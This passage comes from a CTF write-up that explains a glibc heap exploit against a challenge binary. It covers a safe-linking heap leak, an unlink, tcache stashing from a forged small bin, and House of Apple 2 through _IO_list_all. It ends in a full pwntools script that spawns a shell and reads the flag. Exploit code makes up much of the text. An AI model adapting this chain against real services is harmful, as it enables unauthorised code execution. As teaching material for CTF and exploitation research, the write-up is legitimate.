sizefield of the current chunk in the unsorted bin is valid, i.e. whether0x10 <= size <= system_mem. - Check whether the
sizeof the physically adjacent next chunk is valid, i.e. whether0x10 <= size <= system_mem. - Check whether the
prev_sizeof the physically adjacent next chunk equals our ownsize. - Check whether the current pointer’s
bck->fdequals itself, and whether its ownfdis a specific address insidemain_arena. - Finally, check whether the
prev_inuseof the physically adjacent next chunk is0.
So if, under normal logic, the Top Chunk is freed into the unsorted bin, it means all current memory should have been allocated. If it is placed into the unsorted bin as-is, checks 2, 3, and 5 above would fail or overflow. To prevent this from happening, we need to set up two small sentinel chunks below. Chunk A’s role is to satisfy checks 2, 3, and 5 above, setting key data such as prev_size, while Chunk B’s role is to prevent Chunk A from being merged via unlink. Chunk B’s prev_inuse flag is 1, indicating that Chunk A is in use, so no unlink happens. Otherwise the unlink would error out (imagine: without Chunk B, Chunk A would appear unused; if you allocated a chunk exactly the size of the current unsorted bin chunk and then freed it, a backward-merge unlink would be triggered, and due to problems with Chunk A’s fd and bk pointers, the program would crash).

At this point, let’s push this onto our mental stack — the unsorted bin layout above will be used later. Let’s get back to leaking.
Leaking the Heap Address
Leaking the heap address is relatively simple. After directly freeing the current chunk, since the fd pointer of the tcache bin is protected by REVEAL_PTR, the first chunk in the tcache bin has an fd of 0, but after encryption it becomes 0 ^ (heap_addr >> 12), so we can directly leak the heap address.
#define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)The exp for leaking and repairing is as follows (this exp follows on from the libc leak):
... # continues from the libc leak abovefree()add(2, b"a")free()add(1, b"aaaa")free()add(2, b"aaaa")free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12log.success(f"heap_base : {heap_base:#x}")# the following two lines are only a temporary fix to make the heap layout look nicer; they can be removed in the real attackfree()add(1, b"a" * 0x40 + p64(0) + p64(0x91))Now the heap address and libc address information has been collected! Let’s see what the heap looks like now:

The chunks we currently control are marked in the figure. Why “controllable”? Because of the tcache, and because we can only hold one chunk at a time, alternating free and malloc only lets us control these two memory regions (? How should we make use of these two memory regions? Dear reader, push this onto your mental stack and keep reading.)

The Exploitation Attack
Information gathering is finally over, and the heap has become unrecognizable. So where is our attack entry point?
Small bin -> Tcache bin
The answer is the Small bin!
Why choose the Small bin? Reading the source code tells us that the Small bin has a chance of moving chunks into the Tcache. When does that happen? In malloc, if a request hits the management of a certain size in the Small bin, all remaining chunks of that size are taken out one by one and placed into the Tcache until the Tcache is full.
if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx);
if ((victim = last (bin)) != bin) { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted"); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin;
if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb);#if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache != NULL && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin;
tcache_put (tc_victim, tc_idx); // !!!!!! note: placed into the tcache here } } }#endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }That is, this part of the code. In the code below, bin is the position of the current small bin. It walks backward via the bk index, unlinks each chunk one by one, and places them into the Tcache bin:
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin;
tcache_put (tc_victim, tc_idx); // !!!!!! note: placed into the tcache here } }}The goal is clear: to hit the small bin we first need to bypass the Tcache, meaning Tcache[0x90] must not contain any freed chunk, and we need one malloc(0x80). So the small bin size we forge also needs to be 0x90.
Feasibility Discussion of Forging a Small bin (0x90)
How do we forge a 0x90-sized Small bin chunk? A chunk enters the Small bin from the Unsorted bin. How?
- There is a free 0x90-sized chunk in the Unsorted bin.
- Malloc a chunk larger than 0x90 —
size >= 0x90 && malloc(size)— and it must not hit the Tcache.
Condition 2 is fairly easy to satisfy, again using the scanf trick.
For our current heap layout, we can only control the size field of the 0x90 chunk (see the heap layout picture after the leaks above). What can we do with that position? The answer is quite clear: forge an Unsorted bin!
Let’s first discuss whether this is feasible. Our controllable overflow space is 0x80 - 0x40 = 0x40, and this 0x40 bytes of space covers the prev_size and size fields of the next chunk, as well as part of the chunk contents. Suppose we can enlarge the size field of the 0x90 chunk in the figure above and successfully free it — it would then enter the unsorted bin. But at this point we cannot finish setting up the two small sentinel chunks, because the following layout would be needed:
| prev_size | size | +--------------------+0x00 | | 0x50 |0x10 | | | -- start of controllable region +--------------------+ <- Unsorted bin0x50 | | 0x91 |0x90 | | |0xD0 | | | -- end of controllable region +--------------------+0xE0 | | 0x10 | -- Chunk A +--------------------+0xF0 | | 0x11 | -- Chunk B +--------------------+(“Controllable” here means: via malloc(0x40) we can write 0x80 bytes forward, and via malloc(0x80) we can also write 0x80 bytes; in the example above the total controllable length is 0x80*2 - 0x40 = 0xC0.)
But the controllable space is nowhere near enough to set up Chunks A and B below. What can we do? How long does our controllable region need to be?
After racking my brain for several hours, I noticed that we seem to have wasted 0x40 bytes of the 0x50 chunk. What to do?
Extending the Overflow Distance with Unlink
Here we can use the Unlink technique to make the Unsorted bin merge backward. First we construct the following layout:
| prev_size | size | +------------------------+0x00 | | 0x50 |0x10 | fd | bk | -- start of controllable region0x20 | | 0x31 |0x30 | fake fd | fake bk | +------------------------+0x50 | 0x30 | 0x?0 | -- set prev_inuse to 0 here0x90 | | |0xD0 | | | -- end of controllable region +------------------------+This way, when the chunk below is freed, a backward merge happens, extending the controllable overflow distance.
Now let’s re-examine the controllable length: after modifying the layout inside the Unsorted bin, we find the controllable distance is now completely sufficient for the layout!
| prev_size | size | +------------------------+0x00 | | 0x50 |0x10 | fd | bk | -- start of controllable region +------------------------+0x20 | | 0x91 | <- Unsorted bin0x90 | | | +------------------------+0xB0 | | 0x10 | -- Chunk A +------------------------+0xC0 | | 0x11 | -- Chunk B +------------------------+0xD0 | | | -- end of controllable region(Look closely at the three layout diagrams above: the start and end offsets of the controllable region never change — only the utilization improves after the Unlink.)
How do we implement Unlink?
We only need to satisfy the following conditions:
p->fd = p;p->bk = p;next(p)->prev_inuse = 0;next(p)->prev_size = p->size;to bypass this check in the source code:
mchunkptr fd = p->fd; mchunkptr bk = p->bk; if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) malloc_printerr ("corrupted double-linked list");But wait — there’s still one problem. To carry out the unlink attack, we need to free a large chunk into the Unsorted bin. That means we need to enlarge the size of the original 0x90 chunk, and we need to satisfy the free checks for the Unsorted bin — in other words, we should try to avoid entering the backward-merge path (because the only space we control is [0x10, 0xD0] above). So how do we do it? Dear reader, push this onto your mental stack once more — everything is about to come together. Keep reading!
Forging the Unsorted Bin
Let’s review the current heap layout once more. We can see that below the current unsorted bin there is a 0x10 chunk and a 0x11 chunk. Suppose there were some way to overwrite the 0x90 chunk with what is circled by the red boxes below. And is there a way to make the prev_inuse after the 0x11 chunk below become 1? (Why 1? To prevent merging.)

When can we modify the content of the bottommost chunk? The answer is again scanf!
scanf’s buffer is allocated on the heap. If the buffer is large enough, can we write some data right past the size field of the 0x11 chunk? How much do we write?
0x33!!! Because this ASCII character is 3, which is the menu option for free. When do we write it? At the very, very beginning, of course, when the heap is still nice and “clean”.
Testing shows that before all other operations, sending 0xd58 characters of 0 followed by one character 3 does the trick:
def free3(len): io.sendlineafter(b"> ", b"0" * (len-1) + b"3")
free3(0xd59) # this corrupts the size field of the chunk after the 0x11 chunkadd(1, b"a" * 0x48 + p64(0xd11))show2(0x1000)free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0log.success(f"libc_base : {libc_base:#x}")free()add(1, b"a" * 0x48 + p64(0xcf1))
free()add(2, b"a")free()add(1, b"aaaa")free()add(2, b"aaaa")free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12log.success(f"heap_base : {heap_base:#x}")free()add(1, b"a" * 0x40 + p64(0) + p64(0x91))Let’s look at what the heap looks like now:

WoW!! Corruption successful! Now we can successfully forge the Unsorted bin. With a slight tweak to the code we get:
free3(0xd59)add(1, b"a" * 0x48 + p64(0xd11))show2(0x1000)free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0log.success(f"libc_base : {libc_base:#x}")free()add(1, b"a" * 0x48 + p64(0xcf1))
free()add(2, b"a")free()add(1, b"aaaa")free()add(2, b"aaaa")free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12log.success(f"heap_base : {heap_base:#x}")free()# here we tweak the size field of the 0x90 chunk — no longer repairing it, but forging itadd(1, b"a" * 0x40 + p64(0) + p64(0xd01))free()add(2, b"aaaa")free()Now we can see that our Fake Chunk has been placed into the unsorted bin just as we wished!

Carrying Out the Unlink Attack and the Small bin Forgery Attack
Thank you for patiently reading this far. I believe your mental stack is about to overflow, and we have finally reached the step where we pop it.
Implementing the Unlink attack from above, with a slight tweak the exp becomes:
free3(0xd59)add(1, b"a" * 0x48 + p64(0xd11))show2(0x1000)free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0log.success(f"libc_base : {libc_base:#x}")free()add(1, b"a" * 0x48 + p64(0xcf1))
free()add(2, b"a")free()add(1, b"aaaa")free()add(2, b"aaaa")free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12log.success(f"heap_base : {heap_base:#x}")free()# here we modify the content for the unlink attackadd(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))free()add(2, b"aaaa")free()At this point the heap no longer looks so pretty.

Looking at it this way, we can see the unlink was carried out successfully: the first chunk in the Unsorted bin went from 0xd00 to 0xd30.
Next, we carry out the Small bin forgery attack, tweaking the exp once more:
free3(0xd59)add(1, b"a" * 0x48 + p64(0xd11))show2(0x1000)free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0log.success(f"libc_base : {libc_base:#x}")free()add(1, b"a" * 0x48 + p64(0xcf1))
free()add(2, b"a")free()add(1, b"aaaa")free()add(2, b"aaaa")free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12log.success(f"heap_base : {heap_base:#x}")free()add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))free()# this time we tweak here, adding the setup of Chunks A and B mentioned aboveadd(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))free()# here we start modifying the Unsorted bin contents, forging a Small-bin-sized chunk inside the Unsorted binadd(1, flat({ 0x10: 0, 0x18: 0x91, 0x20: heap_base + 0x380, 0x28: libc_base + 0x219ce0,}, filler=b"\x00"))show2(0x1000) # this triggers the move from Unsorted bin into Small binfree()Let’s verify the heap structure once more! It entered the Small bin perfectly!!!

Next, we need to forge a chain of multiple 0x90 chunks inside the Small bin, so that when another malloc(0x80) hits the small bin, they get placed into the Tcache bin.
Modifying the Small bin
First we need to know how much we can modify: 0x80 bytes. However, excluding the fd and bk positions of the tcache bin, only 0x70 bytes remain controllable. In other words, we need to forge as many 0x90 chunks as possible within those 0x70 bytes and chain them together.
We can only forge 3 chunks of 0x90. How?
You can refer to the forgery method shown in the figure below — you can see the bk links form a chain here:

Note the fd setting at the red Chunk position: it needs to bypass the check in the small bin (source code below). Whether the fd of the yellow and green chunks needs to be set is left for the readers to discuss.
if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted");So let’s tweak the exp slightly:
free3(0xd59)add(1, b"a" * 0x48 + p64(0xd11))show2(0x1000)free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0log.success(f"libc_base : {libc_base:#x}")free()add(1, b"a" * 0x48 + p64(0xcf1))
free()add(2, b"a")free()add(1, b"aaaa")free()add(2, b"aaaa")free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12log.success(f"heap_base : {heap_base:#x}")free()add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))free()add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))free()add(1, flat({ 0x10: 0, 0x18: 0x91, 0x20: heap_base + 0x380, 0x28: libc_base + 0x219ce0,}, filler=b"\x00"))show2(0x1000)free()
# here we add the Small bin forgeryadd(1, flat({ 0x10 : { 0x00: 0, 0x08: 0x91, 0x10: heap_base + 0x2c0, 0x18: heap_base + 0x2c0 + 0x30,
0x30: 0, 0x38: 0x91, 0x40: heap_base + 0x2c0, 0x48: heap_base + 0x2c0 + 0x50,
0x50: 0, 0x58: 0x91, 0x60: heap_base + 0x2c0 + 0x30, 0x68: libc_base + 0x219d60 } }, filler=b"\x00"))free()The heap layout at this point is as follows:

You can see an error appears, but it’s not a big deal — the source code traverses via BK, and at the BK positions there are indeed 3 Chunks.
Now we can malloc(0x80) to hit the Small bin’s 0x90 once:
add(2, b"aaaa")free()And now the heap becomes like the picture below! WoW — we can control the fd pointer at the Tcache bin 0x90 slot! And the count at the 0x90 slot is now 3!!!

The dawn of victory is right in front of us. Next up: House of Apple 2!
House of Apple 2
For a House of Apple 2 tutorial, see https://bbs.kanxue.com/thread-273832.htm — huge respect to the author, Orz.
After my tuning, the layout can be simplified to the following:
system = 0x50d60 + libc_basefake_file = flat({ 0x0: b" sh;", 0x28: system, 0xa0: fake_file_addr-0x10, # wide data 0x88: fake_file_addr+0x100, # just needs to be writable with zeroed memory 0xD0: fake_file_addr+0x28-0x68, # wide data vtable 0xD8: libc_base + 0x2160C0, # vtable}, filler=b"\x00")We need to adjust this to our current situation. First, we need to extend the controllable space once more. The method is simple: since the Tcache bin count is 3, we can first forge an fd pointing onto the heap, and then forge our way into _IO_list_all.
(Why not hijack the Tcache bin management structure itself? Because we can only hold one chunk — we must free and then malloc again to control the next one. Once we hijack the tcache management structure, without a proper size field in place, a successful free is impossible.)
Since the controllable size range needs to be 0xe0 bytes long, our first chunk needs to be extended once. Using the 0x50 chunk above to overflow and modify the 0x90 tcache below, the layout becomes as shown below. This way, when Chunk 1 is allocated, we are guaranteed to control Chunk 2’s fd, the attack can continue, and the controllable range is extended to 0xf0, making the attack viable. Chunk 1’s size is changed to 0x71 to prevent it from going into the 0x90 bin after free, which would make the following chunks impossible to retrieve.

With this simple setup, after finally attacking _IO_list_all, the House of Apple 2 attack is complete.
Full Exp
from pwn import *
context.log_level = 'info'context.arch = 'amd64'# io = process("./minho")io = remote("127.0.0.1", 5000)tob = lambda x: str(x).encode()
def add(size, content): io.sendlineafter(b"> ", b"1") io.sendlineafter(b"Size [1=small / 2=big]: ", tob(size)) io.sendafter(b"Data: ", content)
def add2(size_content, content): io.sendlineafter(b"> ", b"1") io.sendlineafter(b"Size [1=small / 2=big]: ", size_content) io.sendafter(b"Data: ", content)
def show(): io.sendlineafter(b"> ", b"2")
def show2(len): io.sendlineafter(b"> ", b"0" * (len-1) + b"2")
def show3(len): io.sendlineafter(b"> ", b"0" * (len-1) + b"2" + b"\x00")
def free(): io.sendlineafter(b"> ", b"3")
def free3(len): io.sendlineafter(b"> ", b"0" * (len-1) + b"3")
free3(0xd59) # see the section "Forging the Unsorted Bin" above for what this line does
# for this information-gathering part, see the section "Information Gathering" aboveadd(1, b"a" * 0x48 + p64(0xd11))show2(0x1000)free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0log.success(f"libc_base : {libc_base:#x}")free()add(1, b"a" * 0x48 + p64(0xcf1))
free()add(2, b"a")free()add(1, b"aaaa")free()add(2, b"aaaa")free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12log.success(f"heap_base : {heap_base:#x}")free()
# see the section "Carrying Out the Unlink Attack and the Small bin Forgery Attack" aboveadd(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))free()add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))free()add(1, flat({ 0x10: 0, 0x18: 0x91, 0x20: heap_base + 0x380, 0x28: libc_base + 0x219ce0,}, filler=b"\x00"))
show2(0x1000)free()
# see the section "Modifying the Small bin" aboveadd(1, flat({ 0x10 : { 0x00: 0, 0x08: 0x91, 0x10: heap_base + 0x2c0, 0x18: heap_base + 0x2c0 + 0x30,
0x30: 0, 0x38: 0x91, 0x40: heap_base + 0x2c0, 0x48: heap_base + 0x2c0 + 0x50,
0x50: 0, 0x58: 0x91, 0x60: heap_base + 0x2c0 + 0x30, 0x68: libc_base + 0x219d60 } }, filler=b"\x00"))free()add(2, b"aaaa")free()_IO_list_all = libc_base + 0x21a680system = 0x50d60 + libc_base
fake_file = heap_base + 0x2e0# see the explanation in the House of Apple 2 section aboveadd(1, b"a"*0x10+p64(0) + p64(0x71) + p64((heap_base + 0x2d0 + 0x70)^((heap_base)>>12)))free()# here we set up House of Apple 2add(2, flat({ 0x0+0x10: b" sh;", 0x28+0x10: system, 0x68: 0x71, 0x70: _IO_list_all ^((heap_base)>>12),}, filler=b"\x00"))free()add(2, flat({ 0xa0-0x60: fake_file-0x10, 0xd0-0x60: fake_file+0x28-0x68, 0xD8-0x60: libc_base + 0x2160C0, # jumptable}, filler=b"\x00"))free()add(2, p64(fake_file))pause(1)io.sendline(b"0")pause(1)io.sendline(b"cat /flag*")
io.interactive()
Flag obtained — that’s a wrap! 🎉